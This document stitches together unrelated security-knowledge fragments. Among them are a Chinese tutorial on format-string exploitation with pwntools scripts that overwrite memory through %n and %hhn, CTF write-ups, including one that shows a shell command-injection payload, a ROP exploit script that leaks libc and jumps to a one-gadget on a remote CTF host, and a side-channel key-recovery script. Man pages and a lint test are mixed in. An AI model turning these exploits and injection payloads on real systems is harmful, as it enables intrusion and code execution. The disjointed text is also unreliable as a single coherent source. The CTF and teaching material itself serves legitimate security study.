### 格式化字符串漏洞利用方式 其实,在上一部分,我们展示了格式化字符串漏洞的两个利用手段 - 使程序崩溃,因为%s对应的参数地址不合法的概率比较大。 - 查看进程内容,根据%d,%f输出了栈上的内容。 ### 格式化字符串漏洞关于程序崩溃 通常来说,利用格式化字符串漏洞使得程序崩溃是最为简单的利用方式,因为我们只需要输入若干个%s即可 ```text %s%s%s%s%s%s%s%s%s%s%s%s%s%s ``` 这是因为栈上不可能每个值都对应了合法的地址,所以总是会有某个地址可以使得程序崩溃。这一利用,虽然攻击者本身似乎并不能控制程序,但是这样却可以造成程序不可用。比如说,如果远程服务有一个格式化字符串漏洞,那么我们就可以攻击其可用性,使服务崩溃,进而使得用户不能够访问。 ### 格式化字符串漏洞关于泄露内存 利用格式化字符串漏洞,我们还可以获取我们所想要输出的内容。一般会有如下几种操作 - 泄露栈内存 - 获取某个变量的值 - 获取某个变量对应地址的内存 - 泄露任意地址内存 - 利用GOT表得到libc函数地址,进而获取libc,进而获取其它libc函数地址 - 盲打,dump整个程序,获取有用信息。 ### 格式化字符串漏洞关于覆盖内存 这里我们可以想一下格式化字符串中的类型 ``` %n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。 ``` 通过这个类型参数,再加上一些小技巧,我们就可以达到我们的目的,这里仍然分为两部分,一部分为覆盖栈上的变量,第二部分为覆盖指定地址的变量。 这里我们给出如下的程序来介绍相应的部分。 ``` c /* example/overflow/overflow.c */ #include <stdio.h> int a = 123, b = 456; int main() { int c = 789; char s[100]; printf("%p\n", &c); scanf("%s", s); printf(s); if (c == 16) { puts("modified c."); } else if (a == 2) { puts("modified a for a small number."); } else if (b == 0x12345678) { puts("modified b for a big number!"); } return 0; } ``` makefile在对应的文件夹中。而无论是覆盖哪个地址的变量,我们基本上都是构造类似如下的payload ```text ...[overwrite addr]....%[overwrite offset]$n ``` 其中...表示我们的填充内容,overwrite addr 表示我们所要覆盖的地址,overwrite offset地址表示我们所要覆盖的地址存储的位置为输出函数的格式化字符串的第几个参数。所以一般来说,也是如下步骤 - 确定覆盖地址 - 确定相对偏移 - 进行覆盖 ### 覆盖栈内存方法 #### 确定覆盖地址 首先,我们自然是来想办法知道栈变量c的地址。由于目前几乎上所有的程序都开启了aslr保护,所以栈的地址一直在变,所以我们这里故意输出了c变量的地址。 #### 确定相对偏移 其次,我们来确定一下存储格式化字符串的地址是printf将要输出的第几个参数()。 这里我们通过之前的泄露栈变量数值的方法来进行操作。通过调试 ```shell → 0xf7e44670 <printf+0> call 0xf7f1ab09 <__x86.get_pc_thunk.ax> ↳ 0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp] 0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret 0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp] 0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret ────────────────────────────────────────────────────────────────────────────────────[ stack ]──── ['0xffffcd0c', 'l8'] 8 0xffffcd0c│+0x00: 0x080484d7 → <main+76> add esp, 0x10 ← $esp 0xffffcd10│+0x04: 0xffffcd28 → "%d%d" 0xffffcd14│+0x08: 0xffffcd8c → 0x00000315 0xffffcd18│+0x0c: 0x000000c2 0xffffcd1c│+0x10: 0xf7e8b6bb → <handle_intel+107> add esp, 0x10 0xffffcd20│+0x14: 0xffffcd4e → 0xffff0000 → 0x00000000 0xffffcd24│+0x18: 0xffffce4c → 0xffffd07a → "XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat[...]" 0xffffcd28│+0x1c: "%d%d" ← $eax ``` 我们可以发现在0xffffcd14处存储着变量c的数值。继而,我们再确定格式化字符串'%d%d'的地址0xffffcd28相对于printf函数的格式化字符串参数0xffffcd10的偏移为0x18,即格式化字符串相当于printf函数的第7个参数,相当于格式化字符串的第6个参数。 #### 进行覆盖 这样,第6个参数处的值就是存储变量c的地址,我们便可以利用%n的特征来修改c的值。payload如下 ```text [addr of c]%012d%6$n ``` addr of c 的长度为4,故而我们得再输入12个字符才可以达到16个字符,以便于来修改c的值为16。 具体脚本如下 ```python def forc(): sh = process('./overwrite') c_addr = int(sh.recvuntil('\n', drop=True), 16) print hex(c_addr) payload = p32(c_addr) + '%012d' + '%6$n' print payload #gdb.attach(sh) sh.sendline(payload) print sh.recv() sh.interactive() forc() ``` 结果如下 ```shell ➜ overwrite git:(master) ✗ python exploit.py [+] Starting local process './overwrite': pid 74806 0xfffd8cdc ܌��%012d%6$n ܌��-00000160648modified c. ``` ### 覆盖任意地址内存小数字方法 首先,我们来考虑一下如何修改data段的变量为一个较小的数字,比如说,**小于机器字长的数字**。这里以2为例。可能会觉得这其实没有什么区别,可仔细一想,真的没有么?如果我们还是将要覆盖的地址放在最前面,那么将直接占用机器字长个(4或8)字节。显然,无论之后如何输出,都只会比4大。 > 或许我们可以使用整形溢出来修改对应的地址的值,但是这样将面临着我们得一次输出大量的内容。而这,一般情况下,基本都不会攻击成功。 那么我们应该怎么做呢?再仔细想一下,我们有必要将所要覆盖的变量的地址放在字符串的最前面么?似乎没有,我们当时只是为了寻找偏移,所以才把tag放在字符串的最前面,如果我们把tag放在中间,其实也是无妨的。类似的,我们把地址放在中间,只要能够找到对应的偏移,其照样也可以得到对应的数值。前面已经说了我们的格式化字符串的为第6个参数。由于我们想要把2写到对应的地址处,故而格式化字符串的前面的字节必须是 ```text aa%k$nxx ``` 此时对应的存储的格式化字符串已经占据了6个字符的位置,如果我们再添加两个字符aa,那么其实aa%k就是第6个参数,$nxx其实就是第7个参数,后面我们如果跟上我们要覆盖的地址,那就是第8个参数,所以如果我们这里设置k为8,其实就可以覆盖了。 利用ida可以得到a的地址为0x0804A024(由于a、b是已初始化的全局变量,因此不在堆栈中)。 ```asm .data:0804A024 public a .data:0804A024 a dd 7Bh ``` 故而我们可以构造如下的利用代码 ```python def fora(): sh = process('./overwrite') a_addr = 0x0804A024 payload = 'aa%8$naa' + p32(a_addr) sh.sendline(payload) print sh.recv() sh.interactive() ``` 对应的结果如下 ```shell ➜ overwrite git:(master) ✗ python exploit.py [+] Starting local process './overwrite': pid 76508 [*] Process './overwrite' stopped with exit code 0 (pid 76508) 0xffc1729c aaaa$\xa0\x0modified a for a small number. ``` 其实,这里我们需要掌握的小技巧就是,我们没有必要把地址放在最前面,放在哪里都可以,只要我们可以找到其对应的偏移即可。 ### 覆盖任意地址内存大数字方法 上面介绍了覆盖小数字,这里我们介绍如何覆盖大数字。上面我们也说了,我们可以选择直接一次性输出大数字个字节来进行覆盖,但是这样基本也不会成功,因为太长了。而且即使成功,我们一次性等待的时间也太长了,那么有没有什么比较好的方式呢?自然是有了。 不过在介绍之前,我们得先再简单了解一下,变量在内存中的存储格式。首先,所有的变量在内存中都是以字节进行存储的。此外,在x86和x64的体系结构中,变量的存储格式为以小端存储,即最低有效位存储在低地址。举个例子,0x12345678在内存中由低地址到高地址依次为\x78\x56\x34\x12。再者,我们可以回忆一下格式化字符串里面的标志,可以发现有这么两个标志: ```text hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。 h 对于整数类型,printf期待一个从short提升的int尺寸的整型参数。 ``` 所以说,我们可以利用%hhn向某个地址写入单字节,利用%hn向某个地址写入双字节。这里,我们以单字节为例。 首先,我们还是要确定的是要覆盖的地址为多少,利用ida看一下,可以发现地址为0x0804A028。 ```text .data:0804A028 public b .data:0804A028 b dd 1C8h ; DATA XREF: main:loc_8048510r ``` 即我们希望将按照如下方式进行覆盖,前面为覆盖地址,后面为覆盖内容。 ```text 0x0804A028 \x78 0x0804A029 \x56 0x0804A02a \x34 0x0804A02b \x12 ``` 首先,由于我们的字符串的偏移为6,所以我们可以确定我们的payload基本是这个样子的 ```text p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$n'+pad2+'%7$n'+pad3+'%8$n'+pad4+'%9$n' ``` 我们可以依次进行计算。这里给出一个基本的构造,如下 ```python def fmt(prev, word, index): if prev < word: result = word - prev fmtstr = "%" + str(result) + "c" elif prev == word: result = 0 else: result = 256 + word - prev fmtstr = "%" + str(result) + "c" fmtstr += "%" + str(index) + "$hhn" return fmtstr def fmt_str(offset, size, addr, target): payload = "" for i in range(4): if size == 4: payload += p32(addr + i) else: payload += p64(addr + i) prev = len(payload) for i in range(4): payload += fmt(prev, (target >> i * 8) & 0xff, offset + i) prev = (target >> i * 8) & 0xff return payload payload = fmt_str(6,4,0x0804A028,0x12345678) ``` 其中每个参数的含义基本如下 - offset表示要覆盖的地址最初的偏移 - size表示机器字长 - addr表示将要覆盖的地址。 - target表示我们要覆盖为的目的变量值。 相应的exploit如下 ```python def forb(): sh = process('./overwrite') payload = fmt_str(6, 4, 0x0804A028, 0x12345678) print payload sh.sendline(payload) print sh.recv() sh.interactive() ``` 结果如下 ```python ➜ overwrite git:(master) ✗ python exploit.py [+] Starting local process './overwrite': pid 78547 (\xa0\x0)\xa0\x0*\xa0\x0+\xa0\x0%104c%6$hhn%222c%7$hhn%222c%8$hhn%222c%9$hhn [*] Process './overwrite' stopped with exit code 0 (pid 78547) 0xfff6f9bc (\xa0\x0)\xa0\x0*\xa0\x0+\xa0\x0 X � \xbb ~modified b for a big number! ``` 当然,我们也可以利用%n分别对每个地址进行写入,也可以得到对应的答案,但是由于我们写入的变量都只会影响由其开始的四个字节,所以最后一个变量写完之后,我们可能会修改之后的三个字节,如果这三个字节比较重要的话,程序就有可能因此崩溃。而采用%hhn则不会有这样的问题,因为这样只会修改相应地址的一个字节。
sec-knowleage
# Artisinal Handcrafted HTTP 3 Web Exploitation, 300 points ## Description: > We found a hidden flag server hiding behind a proxy, but the proxy has some... _interesting_ ideas of what qualifies someone to make HTTP requests. Looks like you'll have to do this one by hand. Try connecting via nc 2018shell3.picoctf.com 29621, and use the proxy to send HTTP requests to `flag.local`. We've also recovered a username and a password for you to use on the login page: `realbusinessuser`/`potoooooooo`. ## Solution: This challenge requires us to handcraft HTTP requests in order to log into a remote page. The following script solves the challenge: ```python from pwn import * import re def get(url, headers = None): http = "GET {} HTTP/1.1\r\nHost: flag.local\r\nConnection: keep-alive\r\n".format(url) if headers is not None: for header in headers: http += header + "\r\n" http += "\r\n" log.info("HTTP GET Request:\n{}".format(http)) return http def post(url, content): http = """POST {} HTTP/1.1 Host: flag.local Content-Type: application/x-www-form-urlencoded Content-Length: {} Connection: keep-alive {} """.format(url, len(content), content) log.info("HTTP POST Request:\n{}".format(http)) return http r = remote("2018shell3.picoctf.com", 29621) print r.recvuntil("\n\n>") answer = raw_input("Answer? ") r.send(answer) r.recvuntil("HTTP.") r.send(get("/login")) res = r.recvuntil("</html>") log.info("Received:\n{}".format(res)) r.send(post("/login", "user=realbusinessuser&pass=potoooooooo")) res = r.recvuntil("Redirecting to /") log.info("Received:\n{}".format(res)) match = re.search("set-cookie: real_business_token=([^;]+);", res, re.M) cookie = match.group(1) log.info("Cookie: {}".format(cookie)) cookie = "Cookie: real_business_token={};".format(cookie) r.send(get("/", headers = [cookie])) res = r.recv(timeout=6) log.info("Received:\n{}".format(res)) print r.recvall() ``` The output is: ```console root@kali:/media/sf_CTFs/pico/Artisinal_Handcrafted# python solve.py [+] Opening connection to 2018shell3.picoctf.com on port 29621: Done Real Business Corp., Internal Proxy Version 2.0.7 To proceed, please solve the following captcha: __ ____ / | _ / ___| ______ `| | _| |_ / /___ |______| | | |_ _| | ___ \ ______ _| |_ |_| | \_/ | |______| \___/ \_____/ > Answer? 7 [*] HTTP GET Request: GET /login HTTP/1.1 Host: flag.local Connection: keep-alive [*] Received: HTTP/1.1 200 OK x-powered-by: Express content-type: text/html; charset=utf-8 content-length: 498 etag: W/"1f2-UE5AGAqbLVQn1qrfKFRIqanxl9I" date: Tue, 06 Nov 2018 18:54:17 GMT connection: keep-alive <html> <head> <link rel="stylesheet" type="text/css" href="main.css" /> </head> <body> <header> <h1>Real Business Internal Flag Server</h1> <a href="/login">Login</a> </header> <main> <h2>Log In</h2> <form method="POST" action="login"> <input type="text" name="user" placeholder="Username" /> <input type="password" name="pass" placeholder="Password" /> <input type="submit" /> </form> </main> </body> </html> [*] HTTP POST Request: POST /login HTTP/1.1 Host: flag.local Content-Type: application/x-www-form-urlencoded Content-Length: 38 Connection: keep-alive user=realbusinessuser&pass=potoooooooo [*] Received: HTTP/1.1 302 Found x-powered-by: Express set-cookie: real_business_token=PHNjcmlwdD5hbGVydCgid2F0Iik8L3NjcmlwdD4%3D; Path=/ location: / vary: Accept content-type: text/plain; charset=utf-8 content-length: 23 date: Tue, 06 Nov 2018 18:54:17 GMT connection: keep-alive Found. Redirecting to / [*] Cookie: PHNjcmlwdD5hbGVydCgid2F0Iik8L3NjcmlwdD4%3D [*] HTTP GET Request: GET / HTTP/1.1 Host: flag.local Connection: keep-alive Cookie: real_business_token=PHNjcmlwdD5hbGVydCgid2F0Iik8L3NjcmlwdD4%3D; [*] Received: HTTP/1.1 200 OK x-powered-by: Express content-type: text/html; charset=utf-8 content-length: 438 etag: W/"1b6-bgxSS92CBVm1uJx+NK7DdppIBp8" date: Tue, 06 Nov 2018 18:54:18 GMT connection: keep-alive <html> <head> <link rel="stylesheet" type="text/css" href="main.css" /> </head> <body> <header> <h1>Real Business Internal Flag Server</h1> <div class="user">Real Business Employee</div> <a href="/logout">Logout</a> </header> <main> <p>Hello <b>Real Business Employee</b>! Today's flag is: <code>picoCTF{0nLY_Us3_n0N_GmO_xF3r_pR0tOcol5_5f5f}</code>.</p> </main> </body> </html> [+] Receiving all data: Done (0B) [*] Closed connection to 2018shell3.picoctf.com port 29621 ``` The flag: picoCTF{0nLY_Us3_n0N_GmO_xF3r_pR0tOcol5_5f5f}
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "SET SESSION AUTHORIZATION" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME SET SESSION AUTHORIZATION \- 为当前会话设置会话用户标识符和当前用户标识符 .SH SYNOPSIS .sp .nf SET [ SESSION | LOCAL ] SESSION AUTHORIZATION \fIusername\fR SET [ SESSION | LOCAL ] SESSION AUTHORIZATION DEFAULT RESET SESSION AUTHORIZATION .sp .fi .SH "DESCRIPTION 描述" .PP 这条命令把当前 SQL 会话环境里的会话用户标识和当前用户标识设置为 username。 这个用户名可以写成一个标识符或者一个字串文本。 使用这个命令,我们可以临时变成一个非特权用户,稍后再切换回超级用户。 .PP 会话用户标识符一开始设置为(可能经过认证的)客户端提供的用户名。 当前用户标识符通常等于会话用户标识符, 但是可能在 "setuid" 的环境里或者类似的机制里临时改变。 当前用户标识符和权限检查相关。 .PP 只有在初始会话用户(\fI认证了的用户\fR)有超级用户权限的时候,会话用户标识符才能改变。 否则,只有在指定了被认证的用户名的情况下,系统才接受该命令。 .PP SESSION 和 LOCAL 修饰词和普通 SET [\fBset\fR(7)] 命令里的作用相同。 .PP DEFAULT 和 RESET 形式重置会话和当前用户标识符为初始认证的用户名。这些形式可以为任何用户执行。 .SH "EXAMPLES 例子" .sp .nf SELECT SESSION_USER, CURRENT_USER; session_user | current_user --------------+-------------- peter | peter SET SESSION AUTHORIZATION 'paul'; SELECT SESSION_USER, CURRENT_USER; session_user | current_user --------------+-------------- paul | paul .sp .fi .SH "COMPATIBILITY 兼容性" .PP SQL 标准允许一些其它的表达式出现在文本 username 的位置上,不过这个东西实际上并不重要。 PostgreSQL 允许标识符语法 ("username"),而 SQL 不允许。 SQL 不允许在一个事务的过程中用这条命令; PostgreSQL 没有这个限制,因为没有什么理由不允许这样用。 标准中表示执行这条命令的权限要求是具体实现定义的。 .SH "译者" .B Postgresql 中文网站 .B 何伟平 <[email protected]>
sec-knowleage
import os import subprocess def test_dockerfile_lint(): basedir = os.path.realpath(os.path.join(os.path.dirname(os.path.realpath(__file__)), '..', '..')) dockerfiles = [] for (now_dir, dirs, files) in os.walk(basedir): for name in files: if name in ('oracle-java', ): continue if name == 'Dockerfile': dockerfiles.append(os.path.join(now_dir, name)) config = os.path.join(basedir, 'tests', 'hadolint.yaml') subprocess.run(['hadolint', '--config', config, '--failure-threshold', 'error'] + dockerfiles, check=True)
sec-knowleage
fold === 控制文件内容输出时所占用的屏幕宽度 ## 补充说明 **fold命令** 用于控制文件内容输出时所占用的屏幕宽度。fold命令会从指定的文件里读取内容,将超过限定列宽的列加入增列字符后,输出到标准输出设备。若不指定任何文件名称,或是所给予的文件名为“-”,则fold指令会从标准输入设备读取数据。 ### 语法 ```shell fold(选项)(参数) ``` ### 选项 ```shell -b或——bytes:以Byte为单位计算列宽,而非采用行数编号为单位; -s或——spaces:以空格字符作为换列点; -w<每列行数>或--width<每列行数>:设置每列的最大行数。 ``` ### 参数 文件:指定要显示内容的文件。 ### 示例 ```shell fold -w 5 filename ```
sec-knowleage
package org.vulhub.api; public interface CalcService { Integer add(Integer a, Integer b); Integer minus(Integer a, Integer b); }
sec-knowleage
# caas Web, 150 points ## Description > Now presenting cowsay as a service A Javascript file was attached: ```javascript const express = require('express'); const app = express(); const { exec } = require('child_process'); app.use(express.static('public')); app.get('/cowsay/:message', (req, res) => { exec(`/usr/games/cowsay ${req.params.message}`, (error, stdout) => { if (error) return res.status(500).end(); res.type('txt').send(stdout).end(); }); }); app.listen(3000, () => { console.log('listening'); }); ``` ## Solution Visiting the attached website, we see the following page: ``` Cowsay as a Service Make a request to the following URL to cowsay your message: https://caas.mars.picoctf.net/cowsay/{message} ``` Let's try it: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/caas] └─$ curl https://caas.mars.picoctf.net/cowsay/test ______ < test > ------ \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || ``` Indeed, looks like `cowsay` as a service. According to the implementation, the code calls: ```javascript exec(`/usr/games/cowsay ${req.params.message}` ``` So we can try to perform a command injection by sneaking in an additional command after ending the current one with a `;`. ```console ┌──(user@kali)-[/media/sf_CTFs/pico/caas] └─$ curl "https://caas.mars.picoctf.net/cowsay/Hello; grep -r pico" _______ < Hello > ------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || falg.txt:picoCTF{moooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0o} ```
sec-knowleage
--- title: intrace categories: Information Gathering tags: [information gathering,kali linux,intrace,evasion,recon] date: 2017-04-23 08:54:45 --- 0x00 介绍 ------- InTrace是一款类似于Traceroute的被动路由跟踪工具。但它不同的是,他不主动发送数据包,而是通过监听当前主机和目标主机的数据包,进行分析,从而获取路由信息。这样既可以进行网络侦查,又可以绕过防火墙的限制,避免被防火墙发现。工具使用非常简单,只要开启监听,然后等待获取和目标主机的数据包,然后就可以获取路由跟踪信息了。使用的时候需要指定端口。该端口号必须在TCP连接中使用到。否则,就无法捕获对应的数据包。 <!--more--> [主页][1] | [仓库][2] - 作者:Robert Swiecki - 证书:GPLv3 0x01 功能 ------- ```plain root@kali:~# intrace InTrace, version 1.5 (C)2007-2011 Robert Swiecki <[email protected]> 2014/05/20 09:59:29.627368 <INFO> 用法: intrace <-h 主机> [-p <端口>] [-d <调试级别>] [-s <载荷大小>] [-6] ``` 0x02 示例 ------- 使用数据包大小为4字节(-s 4),指定端口80(-p 80)向目标主机(-h www.example.com)进行路由跟踪: ```plain root@kali:~# intrace -h www.example.com -p 80 -s 4 InTrace 1.5 -- R: 93.184.216.119/80 (80) L: 192.168.1.130/51654 Payload Size: 4 bytes, Seq: 0x0d6dbb02, Ack: 0x8605bff0 Status: Packets sent #8 # [src addr] [icmp src addr] [pkt type] 1. [192.168.1.1 ] [93.184.216.119 ] [ICMP_TIMXCEED] 2. [192.168.0.1 ] [93.184.216.119 ] [ICMP_TIMXCEED] 3. [ --- ] [ --- ] [NO REPLY] 4. [64.59.184.185 ] [93.184.216.119 ] [ICMP_TIMXCEED] 5. [66.163.70.25 ] [93.184.216.119 ] [ICMP_TIMXCEED] 6. [66.163.64.150 ] [93.184.216.119 ] [ICMP_TIMXCEED] 7. [66.163.75.117 ] [93.184.216.119 ] [ICMP_TIMXCEED] 8. [206.223.119.59 ] [93.184.216.119 ] [ICMP_TIMXCEED] ``` [1]: http://code.google.com/p/intrace/ [2]: http://git.kali.org/gitweb/?p=packages/intrace.git;a=summary
sec-knowleage
from pwn import * #r = process("./rescue")#, env={"LD_PRELOAD":"./libc.so.6"}) fread = 0x0000000000076eb0 #system = 0x0000000000047dc0 gadget = 0x47c9a #gadget = 0xd9763 r = remote("rescueshell.challs.malice.fr", 6060) fread = 0x000000000006a460 gadget = 0x41374 RDI = 0x0000000000400a93 # pop rdi ; ret RBP = 0x00000000004006c0 # pop rbp ; ret rop = "A" * 0x48 rop += struct.pack("<Q", RBP) rop += struct.pack("<Q", 0x601210 + 0x140) rop += struct.pack("<Q", 0x40099a) r.write(rop) r.recvuntil("Password: ") sleep(0.5) p = r.recv(6) p += "\x00" * (8- len(p)) p = struct.unpack("<Q", p)[0] print hex(p) p += gadget - fread print hex(p) rop = "\x00" * 0x48 rop += struct.pack("<Q", p) rop += "\x00" * 0x50 rop += struct.pack("<Q", 0x601208 + 0xd0) rop += struct.pack("<Q", 0x4009e6) r.write(rop) sleep(0.5) r.write(struct.pack("<Q", p)) #rop += struct.pack("<Q", 0x4009b6) #rop += struct.pack("<Q", 0x41414141) open("rop", "wb").write(rop) r.interactive()
sec-knowleage
from library import * from lib_attack import * import sys import numpy as np inputs, outputs, traces_orig = parse(sys.argv[1]) j = 0 flag = [0] * 16 for place in range(7620, 32500, 1626): traces = np.copy(traces_orig[:, place-400:place+400]) normalize(traces) align(traces, range(-50, 50)) traces = traces[:, :-40] print "Flag so far", flag #show_traces(traces) i = [0, 4, 8, 12, 1, 5, 9, 13, 2, 6, 10, 14, 3, 7, 11, 15][j] j += 1 fb = find_byte(inputs, outputs, traces, i) for a in fb[:5]: print a print if fb[0][0] / fb[1][0] > 1.3: print "\t\tFOUND BYTE %d: %02x" % (i, fb[0][1]) flag[i] = fb[0][1] print flag
sec-knowleage